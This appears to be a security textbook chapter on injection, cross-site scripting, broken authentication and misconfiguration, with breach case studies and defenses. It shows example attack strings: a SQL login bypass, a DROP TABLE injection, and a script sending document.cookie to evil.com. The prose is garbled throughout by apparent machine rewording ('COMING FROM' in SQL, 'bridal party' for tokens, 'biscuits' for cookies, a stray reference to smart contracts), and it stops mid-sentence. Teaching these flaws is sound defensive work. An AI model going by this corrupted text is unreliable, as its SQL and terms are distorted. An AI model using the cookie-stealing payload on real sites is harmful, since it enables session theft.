# Chapter 4: Threat Landscape and Common Vulnerabilities
Just about every application operates inside an environment full associated with threats – malevolent actors constantly searching for weaknesses to exploit. Understanding the danger landscape is essential for defense. Within smart contract security , we'll survey the nearly all common sorts of software vulnerabilities and problems seen in typically the wild today. We are going to discuss how they work, provide real-life samples of their écrasement, and introduce ideal practices in order to avoid all of them. This will place the groundwork for later chapters, which will delve deeper in to how to build security straight into the development lifecycle and specific defense.
Over the years, certain categories of vulnerabilities have come about as perennial problems, regularly appearing within security assessments and even breach reports. Business resources such as the OWASP Top 10 (for web applications) and CWE Top twenty five (common weaknesses enumeration) list these common suspects. Let's discover some of the particular major ones:
## Injection Attacks (SQL, Command Injection, and so on. )
- **Description**: Injection flaws happen when an app takes untrusted suggestions (often from the user) and enters it into the interpreter or command word in a way that alters the particular intended execution. The particular classic example is SQL Injection (SQLi) – where consumer input is concatenated into an SQL query without proper sanitization, allowing you utilize their own SQL commands. Similarly, Control Injection involves inserting OS commands, LDAP Injection into LDAP queries, NoSQL Injection in NoSQL databases, and so in. Essentially, the application form fails to distinguish info from code recommendations.
- **How it works**: Consider some sort of simple login kind that takes a great account information. If the particular server-side code naively constructs a question just like: `SELECT * COMING FROM users WHERE username = 'alice' AND EVEN password = 'mypassword'; `, an attacker can input anything like `username: alice' OR '1'='1` plus `password: anything`. The cake you produced SQL would get: `SELECT * BY users WHERE username = 'alice' OR '1'='1' AND security password = 'anything'; `. The `'1'='1'` condition always true can make the query return all customers, effectively bypassing the password check. This is a fundamental example of SQL injections to force the login.
More maliciously, an attacker can terminate the query through adding `; DECLINE TABLE users; --` to delete the particular users table (a destructive attack about integrity) or `; SELECT credit_card COMING FROM users; --` in order to dump sensitive information (a confidentiality breach).
- **Real-world impact**: SQL injection features been behind a few of the largest data removes on record. All of us mentioned the Heartland Payment Systems break – in 2008, attackers exploited a great SQL injection in the web application to be able to ultimately penetrate inner systems and rob millions of credit card numbers
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. Another case: the TalkTalk 2015 breach in britain, in which a teenager employed SQL injection to get into the personal files of over 150, 000 customers. The particular subsequent investigation exposed TalkTalk had kept an obsolete web page with a recognized SQLi flaw on-line, and hadn't patched a database weeknesses from 2012
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. TalkTalk's reputational risk described it as the basic cyberattack; indeed, SQLi was well-understood for a decade, yet the company's failure to sanitize inputs and update software triggered the serious incident – they were fined and suffered reputational loss.
These cases show injection assaults can compromise confidentiality (steal data), ethics (modify or remove data), and accessibility (if data is usually wiped, service will be disrupted). Even these days, injection remains the common attack vector. In fact, OWASP's 2021 Top 10 still lists Treatment (including SQL, NoSQL, command injection, and many others. ) as a top risk (category A03: 2021)
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- **Defense**: The particular primary defense towards injection is reviews validation and outcome escaping – ensure that any untrusted information is treated mainly because pure data, never ever as code. Using prepared statements (parameterized queries) with certain variables is a gold standard intended for SQL: it isolates the SQL code through the data values, so even if an user gets into a weird line, it won't split the query composition. For example, using a parameterized query within Java with JDBC, the previous get access query would turn out to be `SELECT * THROUGH users WHERE login name =? AND username and password =? `, plus the `? ` placeholders are sure to user inputs safely and securely (so `' OR EVEN '1'='1` would become treated literally because an username, which usually won't match any real username, quite than part associated with SQL logic). Comparable approaches exist regarding other interpreters.
Upon top of that will, whitelisting input acceptance can restrict what characters or format is allowed (e. g., an user name might be restricted in order to alphanumeric), stopping numerous injection payloads from the front door
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. Likewise, encoding output effectively (e. g. HTML encoding to avoid script injection) is usually key, which we'll cover under XSS.
Developers should by no means directly include raw input in directions. Secure frameworks in addition to ORM (Object-Relational Mapping) tools help by handling the question building for a person. Finally, least opportunity helps mitigate effect: the database bank account used by the particular app should possess only necessary privileges – e. gary the gadget guy. it will not have DROP TABLE legal rights if not needed, to prevent the injection from doing irreparable harm.
## Cross-Site Scripting (XSS)
- **Description**: Cross-Site Scripting refers to a class of vulnerabilities where an application includes malicious scripts in the context of a trusted web site. Unlike injection straight into a server, XSS is about injecting in to the content of which others see, commonly in a web page, causing victim users' browsers to perform attacker-supplied script. There are a few types of XSS: Stored XSS (the malicious script will be stored on the server, e. h. inside a database, in addition to served to other users), Reflected XSS (the script is reflected from the hardware immediately within a response, often by way of a look for query or problem message), and DOM-based XSS (the weeknesses is in client-side JavaScript that insecurely manipulates the DOM).
- **How this works**: Imagine a note board where customers can post remarks. If the app would not sanitize HTML tags in comments, an attacker may post a review like: ` var i=new Image(); i. src="http://evil.com/steal?cookie="+document.cookie; `. Any end user who views of which comment will unintentionally run the software in their internet browser. The script over would send typically the user's session dessert to the attacker's server (stealing their very own session, hence letting the attacker to be able to impersonate them in the site – a confidentiality and even integrity breach).
Inside a reflected XSS circumstance, maybe the site shows your suggestions by using an error webpage: should you pass a new script in the particular URL and the internet site echoes it, this will execute within the browser of whoever clicked that destructive link.
Essentially, XSS turns the victim's browser into a good unwitting accomplice.
- **Real-world impact**: XSS can be really serious, especially upon highly trusted internet sites (like great example of such, webmail, banking portals). A new famous early example of this was the Samy worm on Web sites in 2005. An individual can named Samy learned a stored XSS vulnerability in Web sites profiles. He crafted a worm: a new script that, when any user looked at his profile, this would add him as a buddy and copy the particular script to typically the viewer's own profile. Like that, anyone otherwise viewing their profile got infected as well. Within just twenty hours of release, over one thousand users' profiles got run the worm's payload, making Samy among the fastest-spreading viruses of time
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. The particular worm itself just displayed the expression "but most associated with all, Samy is usually my hero" about profiles, a comparatively harmless prank
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. On the other hand, it absolutely was a wake-up call: if a great XSS worm may add friends, this could just simply because easily have stolen personal messages, spread junk, or done various other malicious actions in behalf of users. Samy faced legal consequences for this specific stunt
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In one other scenario, XSS could be used to be able to hijack accounts: for instance, a resembled XSS inside a bank's site could possibly be used via a phishing email that methods an user into clicking an LINK, which then completes a script in order to transfer funds or even steal session bridal party.
XSS vulnerabilities have got been found in websites like Twitter, Fb (early days), plus countless others – bug bounty programs commonly receive XSS reports. Although XSS bugs are associated with moderate severity (defaced UI, etc. ), some could be important if they enable administrative account takeover or deliver spyware and adware to users.
rapid **Defense**: The foundation of XSS protection is output development. Any user-supplied written content that is shown within a page have to be properly escaped/encoded so that that should not be interpreted since active script. For example, in the event that a customer writes ` bad() ` in a comment, the server ought to store it and after that output it as `< script> bad()< /script> ` so that it shows up as harmless textual content, not as the actual script. Modern day web frameworks frequently provide template engines that automatically break free variables, which inhibits most reflected or perhaps stored XSS by default.
Another significant defense is Content Security Policy (CSP) – a header that instructs browsers to execute intrigue from certain options. A well-configured CSP can mitigate typically the impact of XSS by blocking in-line scripts or outside scripts that aren't explicitly allowed, nevertheless CSP may be intricate to set back up without affecting site functionality.
For developers, it's also important to prevent practices love dynamically constructing CODE with raw files or using `eval()` on user input in JavaScript. Website applications can furthermore sanitize input in order to strip out banned tags or attributes (though this really is challenging to get perfect). In summary: validate and sanitize any kind of HTML or JavaScript inputs, use context-appropriate escaping (HTML get away from for HTML content, JavaScript escape intended for data injected into scripts, etc. ), and consider allowing browser-side defenses like CSP.
## Busted Authentication and Treatment Management
- **Description**: These vulnerabilities include weaknesses in exactly how users authenticate to be able to the application or even maintain their verified session. "Broken authentication" can mean many different issues: allowing weak passwords, not protecting against brute force, faltering to implement correct multi-factor authentication, or exposing session IDs. "Session management" will be closely related – once an user is logged inside of, the app usually uses a treatment cookie or expression to not forget them; in case that mechanism is certainly flawed (e. h. predictable session IDs, not expiring lessons, not securing the cookie), attackers might hijack other users' sessions.
- **How it works**: One common example will be websites that imposed overly simple password requirements or had no protection in opposition to trying many accounts. Attackers exploit this kind of by using credential stuffing (trying username/password pairs leaked from all other sites) or brute force (trying many combinations). If generally there are no lockouts or even rate limits, an attacker can methodically guess credentials.
Another example: if a good application's session cookie (the part of info that identifies the logged-in session) is usually not marked with all the Secure flag (so it's sent above HTTP as well as HTTPS) or not marked HttpOnly (so it can certainly be accessible to be able to scripts), it could be taken via network sniffing at or XSS. As soon as an attacker offers a valid program token (say, stolen from an insecure Wi-Fi or via an XSS attack), they might impersonate of which user without seeking credentials.
There have got also been common sense flaws where, with regard to instance, the password reset functionality is certainly weak – maybe it's vulnerable to an attack where a great attacker can reset someone else's password by modifying parameters (this crosses in to insecure direct thing references / accessibility control too).
Overall, broken authentication covers anything that permits an attacker to be able to either gain recommendations illicitly or avoid the login applying some flaw.
-- **Real-world impact**: We've all seen media of massive "credential dumps" – millions of username/password pairs floating around through past breaches. Assailants take these and try them in other services (because a lot of people reuse passwords). This automated credential stuffing has guided to compromises associated with high-profile accounts on various platforms.
An example of broken auth was the case in spring 2012 where LinkedIn suffered a breach and even 6. 5 mil password hashes (unsalted SHA-1) were leaked
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. The fragile hashing meant attackers cracked most of those passwords within hours
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. Worse, a few years later it switched out the breach was actually much larger (over a hundred million accounts). Folks often reuse security passwords, so that break had ripple effects across other sites. LinkedIn's failing was in cryptography (they didn't salt or use a sturdy hash), which will be a part of protecting authentication data.
Another normal incident type: treatment hijacking. For instance, before most sites adopted HTTPS just about everywhere, attackers on a single community (like a Wi-Fi) could sniff snacks and impersonate customers – a menace popularized with the Firesheep tool this season, which often let anyone eavesdrop on unencrypted classes for sites want Facebook. This required web services in order to encrypt entire classes, not just sign in pages.
There are also cases of mistaken multi-factor authentication implementations or login bypasses due to reason errors (e. gary the gadget guy., an API that will returns different communications for valid compared to invalid usernames can allow an assailant to enumerate consumers, or even a poorly implemented "remember me" token that's easy in order to forge). The outcomes of broken authentication usually are severe: unauthorized access to user balances, data breaches, identity theft, or unapproved transactions.
- **Defense**: Protecting authentication takes a multi-pronged approach:
-- Enforce strong password policies but within just reason. take a look recommend allowing users to pick long passwords (up to 64 chars) but not requiring frequent changes unless there's indication of compromise
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. As an alternative, check passwords against known breached pass word lists (to disallow "P@ssw0rd" and the particular like). Also inspire passphrases which are much easier to remember yet hard to think.
- Implement multi-factor authentication (MFA). A password alone will be often too few these types of days; providing a possibility (or requirement) for the second factor, like an one-time code or perhaps a push notification, significantly reduces the associated risk of account endanger even if account details leak. Many major breaches could include been mitigated simply by MFA.
- Secure the session bridal party. Use the Secure flag on biscuits so they are only sent more than HTTPS, HttpOnly therefore they aren't accessible via JavaScript (mitigating some XSS impact), and consider SameSite to prevent them from being dispatched in CSRF assaults (more on CSRF later). Make period IDs long, randomly, and unpredictable (to prevent guessing).
- Avoid exposing period IDs in URLs, because they may be logged or released via referer headers. Always prefer snacks or authorization headers.
- Implement accounts lockout or throttling for login endeavors. After say five to ten failed attempts, either lock the account for a period or even increasingly delay responses. Also use CAPTCHAs or even other mechanisms when automated attempts are detected. However, end up being mindful of denial-of-service – some web pages opt for softer throttling to avoid letting attackers secure out users simply by trying bad account details repeatedly.
- Session timeout and logout: Expire sessions following a reasonable period associated with inactivity, and absolutely invalidate session bridal party on logout. It's surprising how many apps in the past didn't appropriately invalidate server-side program records on logout, allowing tokens being re-used.
- Pay attention to forgot password runs. Use secure tokens or links via email, don't expose whether an customer exists or not really (to prevent customer enumeration), and guarantee those tokens expire quickly.
Modern frames often handle the lot of this kind of for you personally, but misconfigurations are normal (e. grams., a developer might accidentally disable a security feature). Standard audits and assessments (like using OWASP ZAP or additional tools) can catch issues like lacking secure flags or weak password procedures.
Lastly, monitor authentication events. Unusual designs (like an individual IP trying a huge number of a, or one bank account experiencing a huge selection of hit a brick wall logins) should lift alarms. This overlaps with intrusion diagnosis.
To emphasize, OWASP's 2021 list calls this category Identification and Authentication Downfalls (formerly "Broken Authentication") and highlights the importance of items like MFA, not employing default credentials, plus implementing proper security password handling
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. They note of which 90% of apps tested had issues in this area in many form, quite mind boggling.
## Security Misconfiguration
- **Description**: Misconfiguration isn't a single weeknesses per se, yet a broad class of mistakes in configuring the program or its surroundings that lead to be able to insecurity. This can involve using predetermined credentials or configurations, leaving unnecessary features enabled, misconfiguring protection headers, or not solidifying the server. Fundamentally, the software might be secure in idea, however the way it's deployed or configured opens a pit.
- **How this works**: Examples involving misconfiguration:
- Leaving default admin accounts/passwords active. Many software program packages or equipment historically shipped along with well-known defaults